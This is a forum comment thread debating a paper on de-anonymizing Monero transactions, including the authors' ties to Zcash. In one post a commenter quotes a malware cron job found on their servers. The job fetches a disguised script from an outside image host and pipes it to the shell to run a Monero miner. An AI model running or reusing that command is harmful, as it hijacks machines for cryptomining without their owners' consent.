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80% of Monero Transactions Trivially De-Anonymized

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Re: 80% of Monero Transactions Trivially De-Anonymized

#4
What a coincidence!

Just today at work we've found malware on some of our servers. That malware added this cron job:

/60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh

If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333

See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...

Re: 80% of Monero Transactions Trivially De-Anonymized

#5
Intellectually and academically dishonest hitpiece by peddlers of a competing cryptocoin.

That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper.

Lengthy discussion on reddit here: https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...

Re: 80% of Monero Transactions Trivially De-Anonymized

#6
Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse).

No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.

Re: 80% of Monero Transactions Trivially De-Anonymized

#7
post #6

Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.

Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?

Re: 80% of Monero Transactions Trivially De-Anonymized

#8
post #7
post #6

Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.

Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?

.. ask the author. He's the one that put that in the paper. Didn't you read it?

Re: 80% of Monero Transactions Trivially De-Anonymized

#10
post #5

Intellectually and academically dishonest hitpiece by peddlers of a competing cryptocoin. That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper. Lengthy discussion on reddi…

Andrew Miller does not hide his ties to Zcash; I believe none of the other authors are associated with Zcash. I do not think he needs to recuse himself from academic study of competing currencies, just because he has loose ties to Zcash.

Also, the authors do not hide the fact that the vulnerability is not new. Most science is incremental; I haven't seen any evidence of 'academic dishonesty'.

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